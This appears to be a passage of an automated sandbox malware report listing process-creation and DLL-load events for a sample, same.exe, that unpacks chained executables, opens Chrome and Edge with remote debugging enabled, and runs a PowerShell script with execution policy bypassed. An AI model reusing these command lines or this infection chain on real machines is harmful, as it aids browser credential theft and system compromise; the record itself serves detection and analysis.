Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2296,i,12827818353722698917,6313005570706160908,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2300,i,7152443262951052951,4773632967686692454,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe "C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe"
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIJEGDAKEH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GIJEGDAKEH.exe "C:\Users\user\Documents\GIJEGDAKEH.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe"
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe "C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe "C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe"
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Process created: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Source: C:\Users\user\Desktop\same.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process created: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe "C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process created: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe "C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIJEGDAKEH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2512,i,7697681695626081863,14330299052543612662,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2296,i,12827818353722698917,6313005570706160908,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2300,i,7152443262951052951,4773632967686692454,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe "C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe "C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe "C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GIJEGDAKEH.exe "C:\Users\user\Documents\GIJEGDAKEH.exe"
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1"
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Process created: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz

Source: C:\Users\user\Desktop\same.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Section loaded: sfc.dll	Jump to behavior
